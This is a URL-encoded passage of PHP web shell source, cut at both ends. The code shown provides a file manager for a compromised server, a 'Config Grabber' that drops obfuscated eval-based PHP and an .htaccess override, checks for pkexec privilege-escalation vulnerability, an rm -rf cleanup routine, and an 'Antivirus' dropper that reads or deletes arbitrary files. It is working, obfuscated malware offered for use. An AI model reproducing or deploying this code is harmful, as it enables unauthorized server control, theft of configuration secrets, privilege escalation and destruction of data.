D%20array%5fmerge%28%24tmp%2C%20%5B%22type%22%20%3D%3E%20%22file%22%5D%29%3B%20%7D%20elseif%20%28%40is%5flink%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%29%20%7B%20%24dirs%5B%5D%20%3D%20array%5fmerge%28%24tmp%2C%20%5B%20%22type%22%20%3D%3E%20%22link%22%2C%20%22link%22%20%3D%3E%20readlink%28%24tmp%5B%22path%22%5D%29%2C%20%5D%29%3B%20%7D%20elseif%20%28%20%40is%5fdir%28%24GLOBALS%5B%22cwd%22%5D%20.%20%24dirContent%5B%24i%5D%29%20%26%26%20%24dirContent%5B%24i%5D%20!%3D%20%22.%22%20%29%20%7B%20%24dirs%5B%5D%20%3D%20array%5fmerge%28%24tmp%2C%20%5B%22type%22%20%3D%3E%20%22dir%22%5D%29%3B%20%7D%20%7D%20%24GLOBALS%5B%22sort%22%5D%20%3D%20%24sort%3B%20function%20cmp%28%24a%2C%20%24b%29%20%7B%20if%20%28%24GLOBALS%5B%22sort%22%5D%5B0%5D%20!%3D%20%22size%22%29%20%7B%20return%20strcmp%28%20%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28%24a%5B%24GLOBALS%5B%22sort%22%5D%5B0%5D%5D%29%2C%20%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28%24b%5B%24GLOBALS%5B%22sort%22%5D%5B0%5D%5D%29%20%29%20%2a%20%28%24GLOBALS%5B%22sort%22%5D%5B1%5D%20%3F%201%20%3A%20-1%29%3B%20%7D%20else%20%7B%20return%20%28%24a%5B%22size%22%5D%20%3C%20%24b%5B%22size%22%5D%20%3F%20-1%20%3A%201%29%20%2a%20%28%24GLOBALS%5B%22sort%22%5D%5B1%5D%20%3F%201%20%3A%20-1%29%3B%20%7D%20%7D%20usort%28%24files%2C%20%22cmp%22%29%3B%20usort%28%24dirs%2C%20%22cmp%22%29%3B%20%24files%20%3D%20array%5fmerge%28%24dirs%2C%20%24files%29%3B%20%24l%20%3D%200%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20echo%20%22%3Ctr%22%20.%20%28%24l%20%3F%20%22%20class%3Dl1%22%20%3A%20%22%22%29%20.%20%27%3E%3Ctd%3E%3Cinput%20type%3Dcheckbox%20name%3D%22f%5B%5D%22%20value%3D%22%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%22%20class%3Dchkbx%3E%3C%2Ftd%3E%3Ctd%3E%3Ca%20href%3D%23%20onclick%3D%22%27%20.%20%28%24f%5B%22type%22%5D%20%3D%3D%20%22file%22%20%3F%20%27g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27view%5C%27%29%22%3E%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24f%5B%22name%22%5D%29%20%3A%20%27g%28%5C%27FilesMan%5C%27%2C%5C%27%27%20.%20%24f%5B%22path%22%5D%20.%20%27%5C%27%29%3B%22%20%27%20.%20%28empty%28%24f%5B%22link%22%5D%29%20%3F%20%22%22%20%3A%20%22title%3D%27%7B%24f%5B%22link%22%5D%7D%27%22%29%20.%20%22%3E%3Cb%3E%5B%20%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24f%5B%22name%22%5D%29%20.%20%22%20%5D%3C%2Fb%3E%22%29%20.%20%22%3C%2Fa%3E%3C%2Ftd%3E%3Ctd%3E%22%20.%20%28%24f%5B%22type%22%5D%20%3D%3D%20%22file%22%20%3F%20viewSize%28%24f%5B%22size%22%5D%29%20%3A%20%24f%5B%22type%22%5D%29%20.%20%22%3C%2Ftd%3E%3Ctd%3E%22%20.%20%24f%5B%22modify%22%5D%20.%20%22%3C%2Ftd%3E%3Ctd%3E%22%20.%20%24f%5B%22owner%22%5D%20.%20%22%2F%22%20.%20%24f%5B%22group%22%5D%20.%20%27%3C%2Ftd%3E%3Ctd%3E%3Ca%20href%3D%23%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%5C%27chmod%5C%27%29%22%3E%27%20.%20%24f%5B%22perms%22%5D%20.%20%27%3C%2Ftd%3E%3Ctd%3E%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Rename%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27rename%5C%27%29%22%3ER%3C%2Fa%3E%20%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Touch%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27touch%5C%27%29%22%3ET%3C%2Fa%3E%27%20.%20%28%24f%5B%22type%22%5D%20%3D%3D%20%22file%22%20%3F%20%27%20%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Frame%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27frame%5C%27%29%22%3EF%3C%2Fa%3E%20%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Edit%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27edit%5C%27%29%22%3EE%3C%2Fa%3E%20%3Ca%20class%3D%22tooltip%22%20data-tooltip%3D%22Download%22%20href%3D%22%23%22%20onclick%3D%22g%28%5C%27FilesTools%5C%27%2Cnull%2C%5C%27%27%20.%20urlencode%28%24f%5B%22name%22%5D%29%20.%20%27%5C%27%2C%20%5C%27download%5C%27%29%22%3ED%3C%2Fa%3E%27%20%3A%20%22%22%29%20.%20%22%3C%2Ftd%3E%3C%2Ftr%3E%22%3B%20%24l%20%3D%20%24l%20%3F%200%20%3A%201%3B%20%7D%20echo%20%22%3Ctr%20id%3Dfak%3E%3Ctd%20colspan%3D7%3E%0A%09%3Cinput%20type%3Dhidden%20name%3Dne%20value%3D%27%27%3E%0A%09%3Cinput%20type%3Dhidden%20name%3Da%20value%3D%27FilesMan%27%3E%0A%09%3Cinput%20type%3Dhidden%20name%3Dc%20value%3D%27%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%20.%20%22%27%3E%0A%09%3Cinput%20type%3Dhidden%20name%3Dcharset%20value%3D%27%22%20.%20%28isset%28%24%5fPOST%5B%22charset%22%5D%29%20%3F%20%24%5fPOST%5B%22charset%22%5D%20%3A%20%22%22%29%20.%20%22%27%3E%0A%09%3Clabel%3E%3Cselect%20name%3D%27p1%27%3E%22%3B%20if%20%28%20!empty%28%24%5fCOOKIE%5B%22act%22%5D%29%20%26%26%20is%5farray%28%24%5fCOOKIE%5B%22f%22%5D%29%20%3F%20count%28%24%5fCOOKIE%5B%22f%22%5D%29%20%3A%200%20%29%20%7B%20echo%20%22%3Coption%20value%3D%27paste%27%3E%E2%86%B3%20Paste%3C%2Foption%3E%22%3B%20%7D%20echo%20%22%3Coption%20value%3D%27copy%27%3ECopy%3C%2Foption%3E%3Coption%20value%3D%27move%27%3EMove%3C%2Foption%3E%3Coption%20value%3D%27delete%27%3EDelete%3C%2Foption%3E%22%3B%20if%20%28class%5fexists%28%22ZipArchive%22%29%29%20%7B%20echo%20%22%3Coption%20value%3D%27zip%27%3E%2B%20zip%3C%2Foption%3E%3Coption%20value%3D%27unzip%27%3E-%20zip%3C%2Foption%3E%22%3B%20%7D%20echo%20%22%3Coption%20value%3D%27tar%27%3E%2B%20tar.gz%3C%2Foption%3E%22%3B%20echo%20%22%3C%2Fselect%3E%3C%2Flabel%3E%22%3B%20if%20%28%20!empty%28%24%5fCOOKIE%5B%22act%22%5D%29%20%26%26%20is%5farray%28%24%5fCOOKIE%5B%22f%22%5D%29%20%3F%20count%28%24%5fCOOKIE%5B%22f%22%5D%29%20%3A%200%20%26%26%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22zip%22%20%7C%7C%20%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22tar%22%29%20%29%20%7B%20echo%20%22%26nbsp%3Bfile%20name%3A%20%3Cinput%20type%3Dtext%20name%3Dp2%20value%3D%27hard%5f%22%20.%20date%28%22Ymd%5fHis%22%29%20.%20%22.%22%20.%20%28%24%5fCOOKIE%5B%22act%22%5D%20%3D%3D%20%22zip%22%20%3F%20%22zip%22%20%3A%20%22tar.gz%22%29%20.%20%22%27%3E%26nbsp%3B%22%3B%20%7D%20echo%20%22%3Cinput%20type%3D%27submit%27%20value%3D%27submit%27%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Fform%3E%3C%2Ftable%3E%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionStringTools%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EJumping%20%3BD%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%24hex%20%3D%20%22tUhaYptAED1Gqf9uVywtNJFWD70kQKJJiZWe2lXpxbIQi2mX2NEaFrMJNP7vneXDxqYf6qGWDMvOzJs3YnRgoiGA88u3Yqx4HeuIK%2BGQXPOkkkKRb4wyQc7g3DUOKisp2H7CR%2Bjn%2BhGyV2UekE2yjY4v4HCyApkKbVZP27hClMgQu6CJih3bwycvwYByYZ%2BBzXkXKINcK8f2CxoLyHVSTLAstUPhShkTAVnJHAZkvnQcULshg46VZSatxaTZKMEdk9No4Qc6S7rYmwMgBF5f4V3j0Nr7bf4xu1Zhek5IXGg4KMgmqqXIylVJlVA8dPr%2Byr1LXWsoXVQBFylKLG1B61HHm6YEyyooc8lX58A2%2F7AAyTv%2Fl5Jplp61aOAc5Zpu9bZK0k1sxzFekq4rnVKlqKuWayOL5pGpQa6Ngsd17i6RNdGnp5f9%2BpktWqL5S6%2BbQZoF%2BBJXpoqAXCVFlMEIm4TD6A2t8mPk04H5ngx7yh3nJdPir5z%2FVfTLf3S67e5aYhkqgxKKNM6EpmSkSZpws5KEZb2KsGSTcqpmZUNSQXip4yad6WF5aeMYcphExRjcDkcseJVCZLPAqbD6YNP5B%2FGm%2FQfgXedQEIIDcJm%2BUNZZgJAvClGpoMUCk6yrGVx%2FzfZIH86DNZ4J%2B8R7lKyl247HNF%2Bf4ItgyGb3xNuG36Hv53F17%2Bckfx6WaTQeKatDvlChnXgjJ13GimgyPspXWK64h2C2O1X8WLTR3pyYwshvEHSOYBwa%2FH6qx%2BeShsjG99KR2Phbox4vg43tYblb9Yvjo%2BnebVDEzrW9NUpmMX9Ghja8z5EomM0B2h52U4WswJ5B9NSGYpqpWUP2hBsobFa5Sz8ZgZxWZ3t%2FZmp%2FMycPs9nn6OHT7Yws3KndENnuvzAefl1jrMyHxpjgKvwJ%22%3B%20%24temp%5ffile%20%3D%20tmpfile%28%29%3B%20fwrite%28%20%24temp%5ffile%2C%20%22%5Cx3C%5Cx3F%5Cx70%5Cx68%5Cx70%5Cx20%22%20.%20str%5frot13%28gzinflate%28str%5frot13%28%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24hex%29%29%29%29%20%29%3B%20include%20stream%5fget%5fmeta%5fdata%28%24temp%5ffile%29%5B%22uri%22%5D%3B%20fclose%28%24temp%5ffile%29%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionSafeMode%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EConfig%20Grabber%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22cfg.php%22%3B%20%24mass%5fscript%20%3D%20%22PD9wSHAgJGhleCA9ICI3Wng2WXRzNEVvQS94MEQrQTByd3dXbVRTMWEzaXg3YU9Oc2tkQ2VidTJaY3Q4bDZSV29OUkNkWFpIeTBVZHZhVllYLyt3MVN5WmFkRjZrN0JPNE91QUJrOWNKc09Cd09kQ2pWa3craEZRNlpZK3UxSUhGcHhNZFE0VGpVYnJWZHN0OXJ2MTNaMnRvS3Ayam1PaTZONkZVNGFPWmE0S3grYldnNlBPbEFvMTN5Y0tOT1RTMXZqRS9MZFh6YnJnaC9RVmJ0a1BsQmRidFVQQktPV3pjdVR5dWdJMU9ZWSs2RVVDenFFdWJaTm1oY0VSaU5VRE42WFlNdXhYM293ajhMNkJ5NnJnNUNRanAwaldLcjR5ODFuMDNUWTBuN0tydXRzV1I4TjZmTWNyVUcrU1lWL2hBL0JLRkdOK2JpZnJpOGRvQ3FZdCsrZWlSOFJEY2lpK3d4YjVLMVU2WlFxWGpJTnRXNXkzMWZNTll5UVhrM3BCWWoxMGtBa294OG9oRkxvak9PWWsvcmdYcEtQb2FPOEYzcWpKTUdFdGljdS9GcHBSc0VkSEJiRUVyY3V5WkxOclJWMDU3YkpMbG14YTBBRExOc1pydlM0V0hJcG5EU3RjWUc2UEZ1R2xOdmRYdnVFTWJzQ3N0eUcrTXltNW1teHU1RmRqVmtTT0g2VUpzek5ncE5tZVhVZHUwck5DRHdvejd6RGNXOUhkRUFERFN3QUxpNklaRkc2Z2p1eit1NXk0UXpSVnBiZ1BIaE1NOXJCNGlWYTlXRHlTZXRwTTJYbjZRSzFkOVNQS0VCZGhIYkViT2hJOEFTdnFqWHpJRnN4NTJCT1JxTjRDZ1o1OEEwd1NWNDhKdGdKQytja20waUYyWVh0S3FsTGMyd3RxdmFKTTY0bW5tam1WeGhHdWJjYU8yQStzd2MyWHZLbDVLWlREY3NORXJxTlkyOUMrb0UwQlZ3V3ZkZU9jakxYQVgxSEM1ZHA0RDlEMWZqaUg4WDJIeWdsbXRnYmdINWhqN1FTd1J1VERqTXJ4ZWJwUXdDYWk4dldHOU02QXB6Qm0vS3ZjZzFJZGE0b1RWd0JSMThaenliVk45MGxTVTZ0UHdDL0NsWnBzczdabmVYN0lMYnRnbGhZbFBVQjdYdTQrZ0YrQzJmd1ZlbGNzbE9IRTNsckg1dkM2dkhIYmU4emtUb0p6NlltU2pnTHA5akpnbzY2bFJFeUNJK1ZqdUNPTEZMTE9TS2V6WUVWQkFNU0FEZUNMK3FiaTc4ZmxWYjF3M1QyRjFpOVQ4VmYwYVZuNDYvTHhqcnpmNmJKdzBGMTR1c0JGcit1MW0wWFZhSVRQODd2VGxxWUJXMnpzOCs3ZjJaN0h6aWxxLzZoSEpXYWE1MEZuR1FIcmdmM0tKRUlCejJLV2VZV0duK2JXaHBlMUJwNU9jWm4xRmp2d09iQXhsajIxNEVBMDJlZmhSM293RGRrWjF3SG91TE1HUG5yVXFwSXFvSDhsZjZMUmg0dTlJV0l3ZkNRdCthaFpZZ0o5YnlWNDlOQWZuVHQybi9MK2Y5enRudzAvVmEvN2g3MjErUTM1cXZTZFltWDQ1N1g1Y3lSUmN5a094M1FmUzhmYjFWbXQ3c3Rscy83cjloZ2xXQjY4aHNmQzVpditBNU00ZENzbHFPL01uNWozY25HK1I4VmJXcWhpd2N6bDBmc3V6U1JHc1VEYXkyK0tjSGprNk9JWmtNckEzSFFuS1YzSlJQNE5uc0tEOENjSEdzT3B3bXhxcFlUTWpXZHUrTjkxdkoyTkw5QUVDZjJKSjVTa241ZkFnNlQwR3ZOMS85M0d0cS8wRnovMGMyM1FLa3FxeDZXV1hYdnh4OFdqWW55U1hRUExGYlNDcWVOZ0FWdU9Qd1pIMjdBakVURXFXNWVYZzIxY0Rtbk0wTjBqb2l4c1hWN1Y3dTJ1NFRNclkzZ1hVTGNJMmpKOUswd2l3elpTRnVNeGNyK1NUdEZzbytuMk1WVXVYV3NvUFl6S3FLc1ZlZ2haeFVxVVlSMGl4TUxMNlJINVZubGdyTDlQNUZFa2UwTE44VjB1NG1KcGdoOGdMQkhxbjB5OFNMSWdHMktxUjFRQ2ovMEFWdk9sVytyOGsyajZSaXh5VzhmcU5pejhuTjd3bnIwVGdXamkrS0Z3KzR0QzRXZlhIWFAwSHk2YVBwL3FNdzI2R0I1N3ZhbFBOdUhlcHZjdE0vbkZKbkF1RnZ5YmcrTFdtQnRjZTVOR04wUW1FbGhGb0lteTRPTW9ub0RGWVFMc2NSNUZnVmpqU0dXU0YxWnFMa0wwRms4cFlZTWVRSXNwWTRETjZwQWhGR0hDRzVoU0xjSFNEbFh5T2RHajhSNEJINHhZM1U0ZEdMSVFWRDc0REtVaGNjZ215VE9JUU5uZjhnM0pYd1lyQy83V2lLdFkrZmE3WDFmU09RMFEySFZjTWIwZ3d5dnVFUU1WOWhXUDhvSXJtRlVDU3hBWWRWQWhRT0FkRUJDV3VOQlB5ZU5GQlBjWVRBRVpKbzlNd2lLN2ZHVS9QWWRBY294SVZSNEpYNER4TnhLN1FaMEhEQURnRTdBdXdBUS9KS0o1MHpISUJQZGNFQTVrdEE1L3owOUtSOTFzY3R5a0g2WDVVNGozTk5LQUdWbVZRSEF6MjFvVFZRKzlmMThYUzBoMkQxNkdqYk9EK1hZcUpEQUI4TE9IWi83TGRrQkNjUURvcEEwWVRleldqL0dEa1ZSQ2dzNUhIZ0VYY2czV20vcTI0dzNCRmN3NERRbURTVzZvaWtPdUlvaW1Sc2ZXYUREVDJYYmhSdVVNOVJBK1B5L0dJNGJHS01Hd05GL3JaNzNQM2N4eUc0eFhRQ2hZanhDTFhxYUN3VHRmQm9MQlpTMHJGeGZIcWsza2kvOSt2Sk9kSlJadUUvUXc4NUpoMlFOSmJndHBoMk1NSHQ2eVk2SUpmZHpxOTkzTnhjWlFaRnVLSGdFWjErNzd5Tml5c2Q0WHNPTGlnd1BLTFR2Y0Urd1BBSSsvQ0NKc2h5Z2w0aTZPV0JBcHlldDN0SzNRN09wMEU5eDU5bWhtWUpXd2VrMit1ZG5DUDMyMTNmcHg1bHQ4dzFNTTQ3eU9lZlpvWjhhL0d3Z0dmN29DUGQ2MVgwLzgrSnVmMGxZWWQ5aTlzZ3h6anhOQU51M3dhdU1NZzN1emEzQkM0T0t3OVM1cU1Vb3VWRUZQL3FjREpzOU4rS2wvUStYUUhGMHZRK2U1SlJnNUNFNUpVdERtU0ZWS3pldFhmaGRiQUpmbUdTbDRRNGhQSkdwQnJxOVpnT0NHbHBzaVdzaFlKSVU5TUN6TklWRGdNcEErbjRLdHJyVEQwNjNHSDVCYk1nY2U3ZUU5OHkrN3V3L0RMZkNQMlhkNmNQK1BqN1owdWlYdjNXdjlLSXBTMU9JYU5pWGgrOFhSRngySmJ1VytiN1ZYWlllalF0b0N0ZG9FajIwVlhUY3lzWnBHZXcxcjBVQVVYaFRvdFhLamZwVU9tWndTeENkbkhwUkN6TFRCcE1iUlNEL0tWeTZhZ3NwbVlWbG1yVzdWZmp2YXl4elJXbzVPdENjV2hYU1lwbFVhb1dqMnhKMDVMVStCU1hBVWhzREQydDZreVNpcU9aeUVnY1NFcFNNaEszM2g1TGlyTWdJbThpSVNhSUZmREp3cCtsZmZieVZ5ZTFna3dsME5UMmNlODUydTVONTNhbFJ1bWF3cXdhTGgyUHFvanJMSXZ3MHVKVXFVYlQySU96dkY3R3NseXlXVWhlU05WMHRaN3NNYTNkS3RtZDdGaFd5RmZremJyMFphRDFxc0F0RFZKL1NvS0RBOHZhdWVRYTlQRkZWbCt1YzJLOW1tS3RnQzlLaVZSbEpXM1pwYXh0UXRiM25jSlhpQ2VSMktqWU01THlyNEthdVVYbWJiYXk3amszK2k1cmR6SlFBYmNXOGpQNUlFTDhMSWdxc3QvYWdxUGk1WndYV3Y2SWdtVG95MFB2SEIxbE1tckV0RFhZWElvRDQraGpDcVlpUG8ybzA0ckNTeHg5cEpZNE5PWFZvMUNUdzJJS1JISjlDOVZDNFRwclRaSHR5cm9xdWFKSHFWZ2IvcFY5VDdQSnB0WjJSblhWeTMvRmtqM1NNYkZjcWtDcDZFT29iNjY2dUlTV2R1dHZVcmZBbWxKL2xhS2tobGJiTlFWV0ovbFlHUy9vcVhIS3FTay9zOStGRFBhUGRCaGxSMWx2NGM1MkFIM1l3QjRZaFB1U0NlZlMwWmJxWW5vZFQzT05JTHdjSlpySkVtNzU3UklDV0ZOVjRhUkJFOFQ5Q0k1Tk5XeXZVeHc2Z3VQWCt6WHByR05uc0w5Zk94cEwyWlF2U0ZaR2VOMVZxZ1lWV0JXaFluVjVjLzBxTFNaRnRhekpvZEl2MVdCZ3FFWkRLVWhFV2hhY0UrYU9JMnh5SklQVk8vTG1wMzM3L2ozY21JdGpObXJoeHNFK0RENVVwcXI4K0k1VW5wU1Q2Mk01Q2VRem5CMmFxc2tMVDZuL2dseFVIUkVsbnhNRkkySUl3ZkpNYUFRbkx6WmVGdmFEeUMvSkFjbXBPSkdlbFZkMHhqc01MWWk4eEIzYmlYenlMaFBza0FFN1lIZjNoeCtrSTVoaElEK2NsWitwZGx5UW40LytEUT09IjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA%3D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%20%3Ciframe%20src%3D%27.tmp%2Fcfg.php%27%20width%3D%27900%27%20height%3D%27480%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20hapus%5fdirektori%28%24nama%5fdir%29%20%7B%20if%20%28is%5fdir%28%24nama%5fdir%29%29%20%7B%20%24files%20%3D%20scandir%28%24nama%5fdir%29%3B%20foreach%20%28%24files%20as%20%24file%29%20%7B%20if%20%28%24file%20!%3D%20%22.%22%20%26%26%20%24file%20!%3D%20%22..%22%29%20%7B%20hapus%5fdirektori%28%22%24nama%5fdir%2F%24file%22%29%3B%20%7D%20%7D%20rmdir%28%24nama%5fdir%29%3B%20%7D%20else%20%7B%20unlink%28%24nama%5fdir%29%3B%20%7D%20%7D%20function%20pk%28%29%20%7B%20if%20%28!is%5ffile%28%22%2Fusr%2Fbin%2Fpkexec%22%29%29%20%7B%20%24result%20%3D%20%22%20%7C%20Pkexec%20is%20missing%20%22%3B%20%7D%20else%20%7B%20%24pkexec%5fmtime%20%3D%20filemtime%28%22%2Fusr%2Fbin%2Fpkexec%22%29%3B%20%24u%20%3D%20date%28%22Y-m-d%22%2C%20%24pkexec%5fmtime%29%3B%20if%20%28%24pkexec%5fmtime%20%3C%3D%20strtotime%28%222021-12-31%22%29%29%20%7B%20%24result%20%3D%20%22Vuln%20%28%24u%29%22%3B%20%7D%20else%20%7B%20%24result%20%3D%20%22%3Cfont%20color%3D%23FF0000%3ENot%20Vuln%20%28%24u%29%3C%2Ffont%3E%22%3B%20%7D%20%7D%20return%20%24result%3B%20%7D%20function%20lp%28%29%20%7B%20if%20%28!is%5ffile%28%22%2Fusr%2Fbin%2Fpkexec%22%29%29%20%7B%20%24result%20%3D%20%22%20%22%3B%20%7D%20else%20%7B%20if%20%28substr%28sprintf%28%22%25o%22%2C%20fileperms%28%22%2Fusr%2Fbin%2Fpkexec%22%29%29%2C%20-4%29%20%3E%3D%20%224000%22%29%20%7B%20%24result%20%3D%20%22%3Cfont%20color%3D%22.COLOR%5f2.%22%3ESUID%3C%2Ffont%3E%22%3B%20%7D%20else%20%7B%20%24result%20%3D%20%22%3Cfont%20color%3D%23FF0000%3ESUID%3C%2Ffont%3E%22%3B%20%7D%20%7D%20return%20%24result%3B%20%7D%20function%20actionLogout%28%29%20%7B%20%24GLOBALS%5B%22tinh%22%5D%5B0%5D%28%22rm%20-rf%20.tmp%20.tmp%5fcgi%20adminer.php%22%29%3B%20hapus%5fdirektori%28%22.tmp%22%29%3B%20session%5funset%28%29%3B%20session%5fdestroy%28%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%22felicia%22%2C%20%22%22%2C%203600%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%20.%20%22key%22%2C%20%22%22%2C%203600%20%29%3B%20%24GLOBALS%5B%22tinh%22%5D%5B10%5D%28%24GLOBALS%5B%22tinh%22%5D%5B8%5D%28%24%5fSERVER%5B%22HTTP%5fHOST%22%5D%29%2C%20%22%22%2C%203600%29%3B%20echo%20%27%3Cscript%3Ewindow.location%3D%22%27%20.%20%24%5fSERVER%5B%22PHP%5fSELF%22%5D%20.%20%27%22%3B%3C%2Fscript%3E%27%3B%20%7D%20function%20actionAntivirus%28%29%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EAntivirus%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22ant.php%22%3B%20%24mass%5fscript%20%3D%20%22%2520%253C%253Fphp%2520if%2528isset%2528%2524%255fGET%255B%2527page%2527%255D%2529%2529%257B%2520%2524file%2520%253D%2520%2524%255fGET%255B%2527page%2527%255D%253B%2520echo%2520%2527%253Ccenter%253EContents%2520of%2520file%253A%253Cbr%253E%253Ctextarea%2520style%253D%2522width%253A%25201507px%253B%2520height%253A%2520396px%253B%2522%253E%2527.htmlspecialchars%2528file%255fget%255fcontents%2528%2524file%2529%2529.%2527%253C%252Ftextarea%253E%253Cbr%253E%253Cbutton%2520onclick%253D%2522history.back%2528%2529%2522%253EGo%2520Back%253C%252Fbutton%253E%253C%252Fcenter%253E%2527%253B%2520%257D%2520elseif%2528isset%2528%2524%255fGET%255B%2527unlink%2527%255D%2529%2529%257B%2520%2524nama%255ffile%2520%253D%2520%2524%255fGET%255B%2527unlink%2527%255D%253B%2520if%2520%2528!unlink%2528%2524nama%255ffile%2529%2529%2520%257B%2520echo%2520%2527Gagal%2520menghapus%2520file%253Cbr%253E%253Cbutton%2520onclick%253D%2522history.back%2528%2529%2522%253EGo%2520Back%253C%252Fbutton%253E%2527%253B%2520%257D%2520else%2520%257B%2520echo%2520%2527File%2520berhasil%2520dihapus%253Cbr%253E%253Cbutton%2520onclick%253D%2522history.back%2528%2529%2522%253EGo%2520Back%253C%252Fbutton%253E%2527%253B%2520%257D%2520%257D%2520else%257B%2520%2524roa%2520%253D%2520%255B%2520%2522%255Cx62%255Cx61%255Cx73%255Cx65%255Cx36%255Cx34%255Cx5F%255Cx64%255Cx65%255Cx63%255Cx6F%255Cx64%255Cx65%2522%252C%2520%2522%255Cx66%255Cx75%255Cx6E%255Cx63%255Cx74%255Cx69%255Cx6F%255Cx6E%255Cx5F%255Cx65%255Cx78%255Cx69%255Cx73%255Cx74%255Cx73%2522%252C%2520%2522%255Cx69%255Cx6E%255Cx69%255Cx5F%255Cx73%255Cx65%255Cx74%2522%252C%2520%255D%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527error%255flog%2527%252C%2520NULL%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527log%255ferrors%2527%252C%25200%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527max%255fexecution%255ftime%2527%252C%25200%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527output%255fbuffering%2527%252C%25200%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527display%255ferrors%2527%252C%25200%2529%253B%2520%2540%2524GLOBALS%255B%2527roa%2527%255D%255B2%255D%2528%2527ignore%255fuser%255fabort%2527%252C%25201%2529%253B%2520%2524scandir%2520%253D%2520scandirr%2528%2529%253B%2520%2524typearr%2520%253D%2520isset%2528%2524%255fPOST%255B%2522dir%2522